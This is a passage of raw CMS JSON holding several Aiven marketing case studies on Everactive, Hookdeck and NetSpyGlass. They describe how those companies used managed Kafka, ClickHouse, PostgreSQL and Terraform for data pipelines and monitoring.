service."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"7523d6caccd9","_type":"block","children":[{"_key":"889f9b3c5cc70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"7e1cff6f191b","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"eeb8eee23ec4","_type":"testimonialItem","content":[{"_key":"cc9f1659a792","_type":"block","children":[{"_key":"46060bd1bd100","_type":"span","marks":[],"text":"\"[With Kafka and Terraform] we’ve managed to automate almost everything: configuration, deployment, and maintenance.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-16cc4eae29b1e667a401fca772d9a73f5d63b401-2500x2500-png","_type":"reference"}},"jobTitle":"Senior Principal Software Engineer at Everactive","name":"Carlos Olmos"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"media"},{"_key":"60206c8afcdf","_type":"textColumn","columnOne":[{"_key":"2ecc9a1bacf4","_type":"block","children":[{"_key":"625bc0ed710e","_type":"span","marks":[],"text":"Apache Kafka is designed for rapid high-volume throughput and is a staple of IoT and streaming architectures. It’s no wonder that Everactive found it suitable for their needs, too. Today, Aiven for Apache Kafka is very much at the heart of their data infrastructure. It receives time series data from millions of self-powered sensors and stores it temporarily. According to the original use case, the events are then ingested into a PostgreSQL database where customer systems can retrieve them."}],"markDefs":[],"style":"normal"},{"_key":"b4267c67c2f6","_type":"block","children":[{"_key":"e061c414b1ce","_type":"span","marks":[],"text":"Everactive has moved forward from the initial concept, however. Now their Apache Kafka instance serves data also to the monitoring system and elsewhere, because connectors are easily available."}],"markDefs":[],"style":"normal"},{"_key":"249eee77c732","_type":"block","children":[{"_key":"32db8ac41c14","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6aac910cafad","_type":"image","asset":{"_ref":"image-aec8a9c4df5dbb244c7db1f161451736d5033c3b-800x611-png","_type":"reference"}}],"disabled":false,"fullWidth":false,"rounded":false,"title":"The solution","variant":"oneColumn"},{"_key":"e0f8f9ba6548","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","columnOne":[{"_key":"0395ebbe9628","_type":"block","children":[{"_key":"1c3c1d4ca904","_type":"span","marks":[],"text":"Is it more expensive for Everactive? “Possibly,” Carlos says, “if you just count the wages of the staff. But every hour we spend trying to reboot a server is an hour we don't spend developing our core business.”"}],"markDefs":[],"style":"normal"},{"_key":"860f149b5ec5","_type":"block","children":[{"_key":"a1c1fe9836d9","_type":"span","marks":[],"text":"He continues: “Having our clusters managed by experts is also an insurance policy. Just one event, if it’s bad enough, can destroy the entire value you’ve built. If you’re buying a managed service, you know that there's a whole company devoted to preventing or fixing that event, and they’ll do it much more efficiently than we would do it internally.”"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"46a68a236d56","_type":"block","children":[{"_key":"1a51af5017480","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"46a68a236d56","_type":"block","children":[{"_key":"1a51af5017480","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"46a68a236d56","_type":"block","children":[{"_key":"1a51af5017480","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"56e0cbe4f797","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"6ee567113d3c","_type":"block","children":[{"_key":"838ed9662e140","_type":"span","marks":[],"text":"Everactive has now had their managed Apache Kafka service running for more than a year, and they are very happy with how things have turned out."}],"markDefs":[],"style":"normal"},{"_key":"8a2e339067b6","_type":"block","children":[{"_key":"8d5da56eefb00","_type":"span","marks":[],"text":"“With Aiven, things just work better than they did before,” says Rob."}],"markDefs":[],"style":"normal"},{"_key":"b0ca8477490e","_type":"block","children":[{"_key":"64d3f115ade60","_type":"span","marks":[],"text":"According to Carlos, the clearest benefit is change management in the configuration of the system. “With Kafka, thanks to its APIs, and to the Terraform provider that Aiven put out there, we’ve managed to automate almost everything: configuration, deployment, and maintenance. The automation has given us a lot of speed ín the development work. It’s also provided security, not just in terms of protecting against malicious things, but also in terms of not making a mistake. So we can change our configuration and scale up. We got rid of those performance problems!”"}],"markDefs":[],"style":"normal"},{"_key":"28aff36d39e9","_type":"block","children":[{"_key":"4756db2d329a0","_type":"span","marks":[],"text":"Another clear benefit is improved observability. “Before, it was really hard to understand the health of the system-we didn't really know if the system was about to be overloaded or not."}],"markDefs":[],"style":"normal"},{"_key":"be7d4d6b187e","_type":"block","children":[{"_key":"afdd49e4ec9b0","_type":"span","marks":[],"text":"It was only when a problem happened that we knew that it was in bad shape.”"}],"markDefs":[],"style":"normal"},{"_key":"2e3723114632","_type":"block","children":[{"_key":"1a91696165480","_type":"span","marks":[],"text":"Thanks to the metrics that Apache Kafka offers, that’s now history. “We can react early on when something is happening and our DevOps person sleeps better at night. Besides, in the system I can track only the metrics I’m interested in, and not get flooded with data I wasn’t asking for."}],"markDefs":[],"style":"normal"},{"_key":"ac69004024a8","_type":"block","children":[{"_key":"9a9458eec8b60","_type":"span","marks":[],"text":"And those sensor installations? The signal checking time has gone from 5 minutes to 1 second. It’s not only Apache Kafka but also new microservices that are easy to build on top of it."}],"markDefs":[],"style":"normal"},{"_key":"873995209f8e","_type":"block","children":[{"_key":"675d001872f50","_type":"span","marks":[],"text":"Rob says innovation is easy with Apache Kafka. “We've been able to offer some additional services that we wouldn't have been able to offer before. For example, our customers can now receive their readings via webhook, and soon also via a MQTT streaming service. With Apache Kafka, we can automatically spin up services without any manual steps.\""}],"markDefs":[],"style":"normal"},{"_key":"9649cb6bb2f7","_type":"block","children":[{"_key":"244d462d0c4e0","_type":"span","marks":[],"text":"Both Rob and Carlos are happy enough with their current setup to want more of the same. “We're always changing our systems, of course. Next we’re planning to put Aiven for Apache Kafka at the very center of everything, providing data to and from every endpoint in the system.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"cac2e0f385c5","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"a37cb41f5424","_type":"testimonialItem","content":[{"_key":"616e311c89e8","_type":"block","children":[{"_key":"abac750d77a70","_type":"span","marks":[],"text":"\"Having our clusters managed by experts is also an insurance policy.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-16cc4eae29b1e667a401fca772d9a73f5d63b401-2500x2500-png","_type":"reference"}},"jobTitle":"Senior Principal Software Engineer at Everactive","name":"Carlos Olmos"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"media"}],"heroHasVideo":false,"heroSubtitle":"Everactive, a provider of batteryless IoT tech, set up a sensor data pipeline on top of Aiven for Apache Kafka®. Find out how it went. ","heroTitle":"Everactive relies on Aiven for IoT data","image":{"_type":"mainImage","alt":"Everactive logo with graphical elements","asset":{"_ref":"image-c43dc6fbb766839dfec257f824d16cb125150ebb-1920x1037-jpg","_type":"reference"}},"publishedAt":"2022-11-16T13:00:42.575Z","seo":{"_type":"metaData","metaDescription":"Everactive, a provider of batteryless IoT tech, set up a sensor data pipeline on top of Aiven for Apache Kafka.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-bc6ea499ff8bfe90595d27c855f045a76d90ed0c-1200x630-jpg","_type":"reference"}},"metaTitle":"Everactive relies on Aiven for IoT data"},"slug":{"_type":"slug","current":"/case-studies/everactive-relies-on-aiven-for-iot-data"},"title":"Everactive","ytId":"0kejJIZNz9w"} {"__i18n_lang":"en","_createdAt":"2023-06-13T10:55:17Z","_id":"52573ae1-b86a-4fca-9ad8-9893a5596585","_rev":"on5KSabgAN0raW406Y4ppl","_type":"caseStudy","_updatedAt":"2024-02-08T14:55:37Z","company":{"_ref":"3aeed013-8049-4126-87df-a37af41ae111","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"65a5cd4337fc","_type":"block","children":[{"_key":"08eb804eda520","_type":"span","marks":[],"text":"Hookdeck is a fast-growing tech start-up with ambitious goals. It provides a webhook infrastructure that handles the ingestion and error handling, ensuring users receive all their webhooks. The company has secured US $2.4 million in seed funding and has a worldwide customer base already. As Hookdeck has grown, the amount of webhooks and associated data it must handle has exploded too. To handle this, it has built a fast, reliable and scalable cloud data infrastructure using a broad portfolio of managed services from Aiven. This includes Aiven for Clickhouse®, a cloud data warehouse which analyzes huge amounts of data in real time for Hookdeck’s customers. This solution has delivered a 30x performance uplift while halving the associated storage requirement and bringing clear cost saving benefits."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"53eb95c8eaab","_type":"block","children":[{"_key":"854c4036ae750","_type":"span","marks":[],"text":"Launched in 2021, Hookdeck is a fast-growing Québec-based start-up poised to disrupt the tech world. The company’s goal is to build the default solution for sending and receiving asynchronous event data between systems. In 2022 it raised US $2.4 million in seed funding and it already boasts hundreds of customers worldwide including Canal, Contra, Gorgias and Gemini."}],"markDefs":[],"style":"normal"},{"_key":"1c65c716490f","_type":"block","children":[{"_key":"594b444c85ff0","_type":"span","marks":[],"text":"Hookdeck solves a webhook challenge facing many developers. Webhooks are automated messages sent between applications, facilitating the sharing of information in real time amongst online platforms. Usually, a consumer will register with a provider, and when an event occurs on the provider side, they will issue a webhook containing some information about that event. This avoids the need for consumers to poll the provider's API, putting unnecessary strain on their servers. Historically developers have struggled with the lack of visibility into webhook failures and the subsequent limited ability to fix them, as well as with handling traffic spikes. Hookdeck fixes this by providing a webhook infrastructure that handles the ingestion and error handling, ensuring users receive all their webhooks."}],"markDefs":[],"style":"normal"}],"title":"Hookdeck disrupts the market by solving webhook failure challenge faced by developers","variant":"oneColumn"},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"d8be3fe06fdf","_type":"block","children":[{"_key":"679fb83f1dac0","_type":"span","marks":[],"text":"Hookdeck has grown quickly since launching in 2021, and its technology infrastructure has had to adapt and scale accordingly. A Google Cloud Platform user from the outset, Hookdeck initially used Cloud SQL for PostgreSQL® as its fully managed database service. However, it was soon in need ofPGBouncer,a lightweight connection pooler for PostgreSQL, which at the time was not offered by Google. Hookdeck discovered the Aiven for PostgreSQL® service which offers connection pooling utilizing PGBouncer and signed up."}],"markDefs":[],"style":"normal"},{"_key":"58de29ab0080","_type":"block","children":[{"_key":"2ebda9e50f590","_type":"span","marks":[],"text":"“I’m passionate about open source and I immediately liked Aiven because it takes open source and productizes it with minimal changes and without creating any lock-ins,” says Maurice Kherlakian, Founding Engineer and CTO, Hookdeck."}],"markDefs":[],"style":"normal"},{"_key":"f7b0eeef2938","_type":"block","children":[{"_key":"20d1e40558630","_type":"span","marks":[],"text":"The company was also attracted by the "},{"_key":"20d1e40558631","_type":"span","marks":["ea8ff3bd3053"],"text":"Aiven Cluster startup program"},{"_key":"20d1e40558632","_type":"span","marks":[],"text":" which provided technical expertise and a credit of US $100,000 when Hookdeck joined. “The Aiven Cluster startup program was a big help for us. Tapping into Aiven’s expertise and having monetary credits offers tremendous value to young companies getting off the ground,” says Kherlakian."}],"markDefs":[{"_key":"ea8ff3bd3053","_type":"link","href":"https://aiven.io/cluster"}],"style":"normal"},{"_key":"1f7ff21c0d92","_type":"block","children":[{"_key":"68a339cd5b390","_type":"span","marks":[],"text":"Hookdeck used Aiven for PostgreSQL on Google Cloud as its primary data store, tracking connections, user profiles, webhook state transitions and more. It also used PostgreSQL to display analytics data to customers through dashboards."}],"markDefs":[],"style":"normal"},{"_key":"a71f4431c169","_type":"block","children":[{"_key":"767223c4e4ed0","_type":"span","marks":[],"text":"However, as Hookdeck grew, the limitations of using PostgreSQL to store historical data and as an analytical database became more pronounced. “The tables it was handling had up to 500 million rows, and that was just with the last 30 days of data,” says Kherlakian. “PostgreSQL doesn’t operate well with datasets that large and the storage cost was increasing.”"}],"markDefs":[],"style":"normal"},{"_key":"1657233d447a","_type":"block","children":[{"_key":"785e7a5497880","_type":"span","marks":[],"text":"Kherlakian’s team opted to move the historic data out of PostgreSQL and into Google BigQuery, a cloud data warehouse. BigQuery had the capacity to store data from the first day of Hookdeck’s history and to run business intelligence queries on the occasions that Hookdeck required. The company needed a highly available data streaming solution to transfer the data from PostgreSQL to BigQuery. It was keen on Apache Kafka and, already convinced of the value of using Aiven’s managed services, it chose Aiven for Apache Kafka®."}],"markDefs":[],"style":"normal"},{"_key":"a9a6f3c42ee2","_type":"block","children":[{"_key":"a9bdc6b23b840","_type":"span","marks":[],"text":"Part of the appeal of Kafka was the rich ecosystem of Kafka connectors, and Aiven helped Hookdeck take advantage of this. “By using Aiven for Apache Kafka® Connect, we could tap into the great tooling that’s available. We spent some time fine-tuning the integrations and ended up with staggering performance levels. We were able to do 60,000 messages a second,” says Kherlakian."}],"markDefs":[],"style":"normal"}],"title":"Building an infrastructure that supports changing business needs ","variant":"oneColumn"},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"ecfd8e4105db","_type":"block","children":[{"_key":"38c1256533a40","_type":"span","marks":[],"text":"At this point, Kherlakian’s team still needed to move the data for analytical queries from PostgreSQL so it started evaluating BigQuery, Elasticsearch and Clickhouse®. BigQuery was quickly discounted because the compute costs incurred by analytics was based on customer usage, and was therefore difficult to predict."}],"markDefs":[],"style":"normal"},{"_key":"193e54d1f000","_type":"block","children":[{"_key":"b162259ade9e0","_type":"span","marks":[],"text":"The team then looked at Elasticsearch and Clickhouse, focusing on the query performance, support for full text search and integration with Kafka. Clickhouse emerged as the best technology. So Hookdeck chose Aiven for Clickhouse® as its analytical database, using it to power the customer dashboards displaying data about their webhooks, for example, a histogram showing how many webhooks have been received in a certain period."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Clickhouse solves analytical data challenge","variant":"oneColumn"},{"_key":"c87f645e8714","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","captionImage":{"_type":"captionImage","caption":[{"_key":"ecaf476f4881","_type":"block","children":[{"_key":"853551828d880","_type":"span","marks":[],"text":"Harnessing data with Aiven for Clickhouse®: Unveiling webhook activity through captivating histograms"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Hookdeck Analytics Diagram","asset":{"_ref":"image-f38ef1d5d20c6ec240ec4a582a79a4de624a2728-883x564-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"7211d42927dc","_type":"block","children":[{"_key":"2be6a4a18197","_type":"span","marks":[],"text":"The team also started using fully managed Grafana® and OpenSearch® from Aiven to gain metrics and insights into the performance of its portfolio of Aiven services."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"123741c9b74a","_type":"block","children":[{"_key":"f9cb736a2b8f0","_type":"span","marks":[],"text":"With Aiven for Clickhouse in place, Hookdeck has a fast, open-source cloud data warehouse that allows it to analyze huge amounts of data in real time. “The performance of Aiven for Clickhouse is seriously impressive. Previously, the histograms for the larger workspaces would take around 30 seconds to load. Now it takes less than a second,” says Kherlakian."}],"markDefs":[],"style":"normal"},{"_key":"ef2c3d367a76","_type":"block","children":[{"_key":"3751ada2a6ac0","_type":"span","marks":[],"text":"Thanks to its excellent data compression ability, the storage requirements and costs have been significantly reduced. The data in Clickhouse uses 700 gigabytes of storage, compared to the 1.5 terabytes required in PostgreSQL."}],"markDefs":[],"style":"normal"},{"_key":"d58e8e979c02","_type":"block","children":[{"_key":"61ed20b16acd0","_type":"span","marks":[],"text":"By using a broad range of Aiven services, Hookdeck has built a reliable, integrated data infrastructure on Google Cloud which leverages the best of open source technologies. “There are huge benefits from getting multiple services from Aiven,” says Kherlakian. “We only have one vendor to onboard, everything is compliant and billing is consolidated. From an engineering perspective, we’re dealing with something that’s familiar and, because all the services are integrated, adding another one is really easy.”"}],"markDefs":[],"style":"normal"},{"_key":"01b3dffd1cbf","_type":"block","children":[{"_key":"f4d14cd897ca0","_type":"span","marks":[],"text":"The scalability of the cloud data infrastructure that Aiven provides is another important benefit as the company’s rapid growth trajectory continues. The number of webhooks Hookdeck processes is significantly increasing every month and as the corresponding influx of data flows through its infrastructure, Hookdeck can easily scale its Aiven services, increasing storage, nodes and clusters as required. “I can think of quite a few times when our database has been saturated and we needed a bigger instance. In the click of a button we had it,” says Kherlakian."}],"markDefs":[],"style":"normal"},{"_key":"7f470447f366","_type":"block","children":[{"_key":"3ba1f330bbe60","_type":"span","marks":[],"text":"Of course, the infrastructure the engineering team builds must have high availability—downtime of any applications would be a disaster for Hookdeck and its growing customer base. With 99.99% uptime guaranteed by Aiven, Hookdeck’s customer SLAs as well as its reputation are protected."}],"markDefs":[],"style":"normal"},{"_key":"e0986a88aee8","_type":"block","children":[{"_key":"b4ac9118a38b0","_type":"span","marks":[],"text":"Kherlakian’s engineering team is small, so efficiency is key. When evaluating a new technology, his team must consider what it will take to maintain it in the future. “Aiven not only makes it easy to implement, but its support team takes all the stress out of managing it,” says Kherlakian. “That allows our team to focus on building the best possible webhook infrastructure.”"}],"markDefs":[],"style":"normal"}],"title":"‘Seriously impressive’ performance with Aiven for Clickhouse","variant":"oneColumn"},{"_key":"8d9f95294449","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"79d4da1eb70a","_type":"block","children":[{"_key":"7f6b85cfe1430","_type":"span","marks":[],"text":"The start-up currently has seven people but is actively recruiting to help scale its platform and support the anticipated growth in business. “We currently handle around half a billion webhooks a month and we’re well on our way to billions. My engineering team has a mission to create an architecture that supports tens of billion,” says Kherlakian. “As an organization, we’re driven to build services that enable developers across the world to focus more on creating what they love, while relying on us to ingest and process their event data. It’s great to have Aiven with us on our journey.”"}],"markDefs":[],"style":"normal"}],"title":"An engineering team with a mission","variant":"oneColumn"}],"heroSubtitle":"Aiven for Clickhouse® delivers 30x performance uplift and halves storage requirement ","heroTitle":"Fast-Growing Startup Hookdeck Powers Cloud Data Infrastructure with Aiven Services","image":{"_type":"mainImage","asset":{"_ref":"image-b7c568fd0c2b287b5a2ec7fe0cacdcf9e9a1a8f4-6000x4000-jpg","_type":"reference"}},"publishedAt":"2023-06-13T10:41:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven for Clickhouse® delivers 30x performance uplift and halves storage requirement ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f54079283bdd01528368e5c4a6d02120052e91ca-3295x1724-png","_type":"reference"}},"metaTitle":"Fast-Growing Startup Hookdeck Powers Cloud Data Infrastructure with Aiven Services"},"slug":{"_type":"slug","current":"/case-studies/hookdeck-powers-cloud-data-infrastructure"},"title":"Fast-Growing Startup Hookdeck Powers Cloud Data Infrastructure with Aiven Services"} {"__i18n_lang":"en","_createdAt":"2022-09-23T11:12:00Z","_id":"6ba95c64-4c92-4133-bf13-f866097f2d2c","_rev":"aqN8LslQ3cZYmtCXIu2BYg","_type":"caseStudy","_updatedAt":"2024-02-08T17:29:27Z","company":{"_ref":"2BACGWdhEhfcQse2RSiztJ","_type":"reference"},"content":[{"_key":"1be9fbf318af","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"5db3fa5c4d12","_type":"block","children":[{"_key":"02094cc820d70","_type":"span","marks":[],"text":"NetSpyGlass is a cloud-native network monitoring automation built to replace the hodgepodge and tangle of homespun network management and monitoring frameworks."}],"markDefs":[],"style":"normal"},{"_key":"1fafa08033b5","_type":"block","children":[{"_key":"18c0c00fe621","_type":"span","marks":[],"text":"\nStarted in the mid 2010’s, the company single-handedly built a popular solution that allows network operators to combine and automate network monitoring across multiple vendors with powerful aggregate insights.\n"}],"markDefs":[],"style":"normal"},{"_key":"1c2c10219c67","_type":"block","children":[{"_key":"6f6d2c9ca431","_type":"span","marks":[],"text":"What’s more, the company has become a go-to in their industry by supporting a range of the most popular device vendors — all with a small team and in a relatively short time."}],"markDefs":[],"style":"normal"},{"_key":"12a9b23ab8b8","_type":"block","children":[{"_key":"2ce24a4994d10","_type":"span","marks":[],"text":"The company’s solution offers a broad selection of data-intensive features that include automation, analytics, discovery, mapping, real-time monitoring, searches, threshold alerting, visualization/dashboard capabilities, and reporting.\n"}],"markDefs":[],"style":"normal"},{"_key":"f03551a32570","_type":"block","children":[{"_key":"9413087c86ef","_type":"span","marks":[],"text":"And with scripting support and extensibility, a NetSpyGlass solution can be easily tailored to fit each network manager’s unique requirements, allowing users to use as many of the features as they need or even add their own. However, building the data backbone for a solution widely known for its customizability — with so few hands on deck — presented a unique challenge."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"9c9dcac99e13","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"1dbdda832b24","_type":"block","children":[{"_key":"fb34cda386050","_type":"span","marks":[],"text":"The team originally started with a variety of on-premises, self-managed database and messaging solutions that included Redis, PostgreSQL, MySQL, and Apache Kafka. But managing these systems quickly got out of hand."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"024af89006b2","_type":"testimonial","disabled":false,"fullWidth":false,"isCarousel":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"8d61e374a3bb","_ref":"5MBWForfnNzyMsTPqjYKk4","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"9de4d9db89e6","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a65b15d96a00","_type":"block","children":[{"_key":"77a4079085600","_type":"span","marks":[],"text":"The team needed to figure out exactly what solutions were needed, as well as hit the right benchmarks across all of them to meet their SLAs. This task included running and managing a series of databases on site, and then repeating the process with a range of cloud providers while comparing things like read and write speeds, latency, costs and ease-of-use to come up with the right mix."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"0e98ed961c28","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"f9f1a209b392","_type":"block","children":[{"_key":"20a521920e3d0","_type":"span","marks":[],"text":"When Alexander joined, he was already using Terraform to provision a range of data backend services. Terraform was already quite useful to the team because of the myriad of interfaces and connectors already available for it. With the\nhelp of an Aiven how-to article, he started using Terraform to provision a range of Aiven services."}],"markDefs":[],"style":"normal"},{"_key":"78628a65384a","_type":"block","children":[{"_key":"eba8b1869e45","_type":"span","marks":[],"text":"As during their innovation cycle, the speed of service provisioning increased dramatically, making Aiven service adoption a 1-2 punch. “Terraform-based deployment today basically involves provisioning a new PostgreSQL or Kafka\nservice from Aiven. This now takes about 15-20 minutes, end-to-end.”"}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"d04632a649a7","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"022b3bca4143","_type":"block","children":[{"_key":"9b14b70ba1b50","_type":"span","marks":[],"text":"Aiven’s solutions helped the team develop, benchmark and manage a complicated data backend by shortening the cycle of innovation and simplifying core service management. He adds: “The point of using Aiven is to avoid being an expert in every area, right? So you just outsource whatever piece of our infrastructure elsewhere and have the experts in these things, maintain it, support it, upgrade it.”"}],"markDefs":[],"style":"normal"},{"_key":"ed1864b01649","_type":"block","children":[{"_key":"b0137b4efc670","_type":"span","marks":[],"text":"What’s more, the team found Aiven’s service delivery model to be a good inspiration for their own. Alexander elaborates: “Aiven’s deployment model is basically self-service. In fact, our product owner wants us to follow that and make our own monitoring service as easy to deploy.”"}],"markDefs":[],"style":"normal"},{"_key":"b2f693a9c2ba","_type":"block","children":[{"_key":"4aa2a8b8f6ce","_type":"span","marks":[],"text":"He says that NetSpyGlass is moving toward building out their own web application and command-line interfaces that will manage tasks like updates, maintenance, customer signups. After all, he concludes, “If it feels right, if it feels quick and easy, you just do it.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"6f94e7334397","_type":"testimonial","disabled":false,"fullWidth":false,"isCarousel":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"ff6414c1100f","_ref":"c2049dab-24ef-4e23-9eed-f5d10e870ce5","_type":"reference"}],"rounded":false,"variant":"media"}],"heroSubtitle":"NetSpyGlass offers advanced network monitoring automation. They use Terraform with their complex Apache Kafka and PostgreSQL-based data backend to simplify service management.","heroTitle":"NetSpyGlass partners with Aiven for simplicity and scale","image":{"_type":"mainImage","alt":"NetSpyGlass logo","asset":{"_ref":"image-532eecee41a9fd764b7287dd55ed15bc8ca1fbbf-1920x1037-jpg","_type":"reference"}},"publishedAt":"2021-09-07T10:58:00.000Z","seo":{"_type":"metaData","metaDescription":"NetSpyGlass is a cloud-native, network monitoring automation solution that can be easily tailored to fit network managers' unique requirements.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-40bdcfea6a0d539673b9e69790a5de9e71c58502-1200x630-jpg","_type":"reference"}},"metaTitle":"NetSpyGlass partners with Aiven for simplicity and scale"},"slug":{"_type":"slug","current":"/case-studies/aiven-cloud-helps-netspyglass"},"title":"NetSpyGlass"} {"__i18n_lang":"en","_createdAt":"2022-09-16T13:37:42Z","_id":"c5434a78-da19-4156-a28c-3d54f7dbdabf","_rev":"aqN8LslQ3cZYmtCXIvIccC","_type":"caseStudy","_updatedAt":"2024-02-09T09:07:32Z","company":{"_ref":"4TqpVisLv0iRqpMCA1uvHK","_type":"reference"},"content":[{"_key":"a0ebd45d4abe","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"f0ab02b80455","_type":"block","children":[{"_key":"297c5eadf3070","_type":"span","marks":[],"text":"All-OS solution."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f36e77a24a25","_type":"block","children":[{"_key":"ba83774eb4e70","_type":"span","marks":[],"text":"Enormous amounts of data: Tens of thousands of nodes, thousands of metrics for each; 40 million unique metrics data points, most of them twice every minute; 1.3B unaggregated non-replicated time series in storage; 1TB of unaggregated data per week."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6dfcf012661f","_type":"block","children":[{"_key":"d87da7c38ed40","_type":"span","marks":[],"text":"Very fast scaling."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"27d80dbde69f","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"919c42cb3ed1","_type":"block","children":[{"_key":"4530f462e4750","_type":"span","marks":[],"text":"Aiven has a few business requirements that further impact the choice of solution, in addition to the general pain points listed above; or maybe supercharging the pain they cause."}],"markDefs":[],"style":"normal"},{"_key":"8cb9ab357c86","_type":"block","children":[{"_key":"e38e314c24130","_type":"span","marks":[],"text":"Firstly, Aiven’s system generates a huge amount of data. We have tens of thousands of nodes running, and we collect thousands of metrics for each node. At any one time, we currently process 40 million unique metrics data points, most of them twice every minute. We have 1.3B unaggregated non-replicated time series in storage. In just one week, the amount of unaggregated data currently amounts to about 1TB."}],"markDefs":[],"style":"normal"},{"_key":"7379b2784929","_type":"block","children":[{"_key":"9f9e7281b0760","_type":"span","marks":[],"text":"And on the other side, we have hundreds of different alert rules that are triggered by these metrics."}],"markDefs":[],"style":"normal"},{"_key":"e96bac4712fa","_type":"block","children":[{"_key":"ba43f353b4d60","_type":"span","marks":[],"text":"This means Aiven needs a very robust solution, one that is capable of very large and fast throughput. It also needs to be able to physically store all that data. This limits the number of solutions we can even consider."}],"markDefs":[],"style":"normal"},{"_key":"f6fc6c63688f","_type":"block","children":[{"_key":"71f52f59325b0","_type":"span","marks":[],"text":"Secondly, the amount of 